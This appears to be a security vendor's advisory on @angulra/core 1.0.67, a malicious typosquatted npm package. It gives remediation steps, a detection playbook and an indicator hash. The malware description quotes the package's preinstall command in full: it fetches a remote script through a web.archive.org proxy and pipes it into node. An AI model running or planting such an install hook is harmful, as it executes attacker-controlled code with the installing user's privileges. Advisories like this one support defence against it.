Which versions of @angulra/core are malicious?

The following npm versions of @angulra/core are flagged malicious: 1.0.67. Treat any of these as compromised.

How do I remediate @angulra/core if I installed it?

@angulra/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angulra/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angulra/core — how do I know if it already compromised me?

If @angulra/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angulra/core part of a known attack campaign?

Yes — @angulra/core is associated with the IN-MAL-2026-020910 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angulra/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angulra/core (version 1.0.67).

Malicious package

@angulra/corenpm

Advisory published Oct 4, 2026Updated Oct 4, 2026

@angulra/core is a confirmed malicious npm package (MAL-2026-17496) that typosquats a legitimate package to trick installs (malicious version 1.0.67). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angulra/core (npm)

MAL-2026-17496

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angulra/core

What this malware does

The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at npm install time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name @angulra/core resembles Angular ecosystem names while the package description (Core Libs) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running npm install on this package executes arbitrary remote code with the installing user's privileges.

Malicious versions

1 flagged

1.0.67

Indicators of compromise (SHA-256)

7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @angulra/core (version 1.0.67).
If you installed it — respond
@angulra/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angulra/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angulra/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angulra/core on npm has been identified as a malicious package (version 1.0.67 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020910

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @angulra/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database